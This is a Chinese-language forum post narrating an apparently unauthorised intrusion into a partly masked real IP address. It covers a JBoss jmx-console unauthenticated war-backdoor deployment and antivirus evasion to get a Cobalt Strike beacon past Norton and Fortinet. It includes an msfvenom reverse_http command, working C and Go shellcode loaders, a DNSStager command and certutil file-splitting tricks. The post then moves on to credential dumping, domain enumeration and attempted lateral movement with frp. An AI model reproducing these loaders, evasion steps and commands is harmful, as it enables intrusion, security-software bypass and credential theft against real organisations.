• 一、外围入手
    拿到ip后先信息收集,扫描端口:

    8087开放,访问:

    好,用脚本试试POST:

    好吧,暂且不管,试试8082:发现

    这个好,直接jboss,一般可先尝试弱口令后台部署war包,后门文件进行压缩,改名为“.war”:

    但后台访问发现不存在:

    那好,试试jmx-console,好的嘛:

    使用未授权Deploy漏洞:访问
    asp http://150.*.*.*:8082/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository
    分别在store后面参数处填写后门war文件名,文件夹名称,后门文件后缀和后门文件内容:

    点击invoke,访问:
  • 二、初步控制
    为空白说明后门文件解析成功,使用蚁剑连接:

    好的嘛,再信息收集一波,ip配置发现存在域:

    当前用户发现为“.p”结尾,按国外的命名习惯,一半是组长或者经理级别:

    查看进程有无杀毒,使用tasklist然后进行对比:

    不得了,竟然有大名鼎鼎的赛门铁克公司的诺顿和飞塔:

    看来这次棘手了,接下来试试各种免杀手段上线cs。
  • 三:绕过免杀
  • 3.1 base64加密shellcode加载
    参考Tide安全团队的免杀系列,使用base64生成:
    msfvenom -p  windows/meterpreter/reverse_http --encrypt base64  lhost=1*.1*.7*.3 lport=800  -f c > shell.c
    
    然后在cs开启监听(...为你vps地址):

    注意:这里msfconsole唯有windows/meterpreter/reverse_http和windows/meterpreter/reverse_https是对应cs监听器兼容的,区别在于:cs自生成后门首次请求stager连接字符较短,一般为四个字符,如“/t1ny”,msf payload的为很长的字符,但上线不影响。
    生成base64加密shellcode后,使用解密加载器:shellcode.c:
    #include "base64.h"
    unsigned char buf[] ="..你的shellcode";
    int main(int argc, const char * argv[]) {
      char str1[1000] = { 0 };
      Base64decode(str1, buf);
      char *Memory;
      Memory = VirtualAlloc(NULL, sizeof(str1), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
      memcpy(Memory, str1, sizeof(str1));
      ((void(*)())Memory)();
      return 0;
    }
    
    base64.c和base64.h可在tide公众号内容中找到,这里暂不列出。
    最后gcc shellcode.c base64.c -o test.exe编译,上传:执行即可。

    test.exe明明上传了:

    刷新查看直接没了~,没错,诺顿就是这么强。
  • 3.2 go语言加密shellcode执行
    好吧,吸取上次直接消失的教训,本地搭建环境进行测试,这次试试go语言的shellcode混淆;
    使用cs生成c语言的payload:

    得到:

    使用替换功能,将“\”换为:“,0”:

    最后替换加载器中shellcode_buf = []byte部分内容:
package main

import (
    "io/ioutil"
    "os"
    "syscall"
    "unsafe"
)

const (
    MEM_COMMIT             = 0x1000
    MEM_RESERVE            = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40
)

var (
    kernel32       = syscall.MustLoadDLL("kernel32.dll")
    ntdll          = syscall.MustLoadDLL("ntdll.dll")
    VirtualAlloc   = kernel32.MustFindProc("VirtualAlloc")
    RtlCopyMemory  = ntdll.MustFindProc("RtlCopyMemory")
    shellcode_buf = []byte{0xfc, 0x48,  ----shellcode----, 0xd5}
)

func checkErr(err error) {
    if err != nil {
        if err.Error() != "The operation completed successfully." {
            println(err.Error())
            os.Exit(1)
        }
    }
}

func main() {
    shellcode := shellcode_buf
    if len(os.Args) > 1 {
        shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
        checkErr(err)
        shellcode = shellcodeFileData
    }

    addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    if addr == 0 {
        checkErr(err)
    }
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
    checkErr(err)
    syscall.Syscall(addr, 0, 0, 0, 0)
}

最后在linux环境安装go语言环境,使用命令“CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build shellcode.go”编译。
最后上传,发现文件未被删除:

小心翼翼地去执行一下:
没想到文件本身过了查杀,缺被拦截了访问行为:

本地允许后:

哇,国外的av和国内的av就是不一样,拦截规则卡的是真的死死的。

  • 3.3 FourEye免杀
    再试试比较不错的FourEye :
    地址为:https://github.com/lengjibo/FourEye
    使用cs生成raw格式payload后放到linux:

    根据教程:

    得到exe上传,执行:

    发现cs端有stager请求记录,说明已经下载了stager,可以根据stager内容进行执行了。但看本地环境发现依然拦截了后续请求:

    说明加密执行后门本身没问题了,只是c2 server端可信程度不够,还可试试申请可信域名+c2可信证书+https加密上线了。
  • 3.4 DNStager分离免杀
    参考文章《实战填坑|CS使用CDN隐藏C2》:
    去申请了域名,部署了cdn,重新尝试go加密shellcode和FourEYe之后依然拦截通信请求行为。
    最后参考《DNSStager-DNS分离shellcode》:
    终于成功获取了shell。
    首先安装ming-w64,将CDN服务端解析的NS记录添加一个test.*.tk:

    最后在vps处执行:
    python3 dnsstager.py --domain test.*.tk --payload x64/c/ipv6 --output /home/a2.exe --prefix cdn- --shellcode_path /home/DNSStager/payload.bin --sleep 1 --xorkey 0x10
    

    上传执行后终于获取:

    如图:

    终于可以喘口气,拿下了。
  • 四:简单后渗透
  • 4.1 内网信息收集
    cs的自带功能,抓取密码:

    获取到当前用户密码:

    查看进程列表,发现其余进程均为低权限和system进程,说明无其他用户在此登录。
    既然有域,那就进行一下域内信息收集,发现好像有各种限制:
    net group "domain controllers" /domain 查看域控制器:

    net group "domain admins" /domain 也是如此:
  • 4.2 横向尝试
    既然本机无其余用户信息,避免动静过大,就不再尝试提权至system了(主要杀软太牛逼),直接上传frp横向信息收集丫的:

    我滴天?竟然上传失败?猜测是因为使用了CDN+诺顿检测请求太高的数据包,造成回传数据失败。那就换个思路,既然10M体量有问题,就拆分一半,最后再合并,同时避免后缀内容检测问题,先使用certutil编码一下frpc.exe为txt:

    好家伙,10M直接干到14M,行,问题不大,中间拆分,各自一半:

    最后的思路是分别本地解码为exe后:
    certutil -decode 1.txt 1.exe
    certutil -decode 2.txt 2.exe

    再进行合并:

    最后本地进行校验,查看文件是否完整:
    certutil –hashfile 3.exe MD5

    是一致的没错,实战环境上传txt:

    解码:

    合并后,执行:

    我要抓狂了,竟然不能执行程序,好的吧,毕竟已经收获了很多,后续域渗透留待步下一步进行。
    最后整理并总结完成后发现jboss业务已经关闭,下一步的思路使用regorge代理暂时也不可行,只能暂时先放下了。
点击收藏 | 3 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖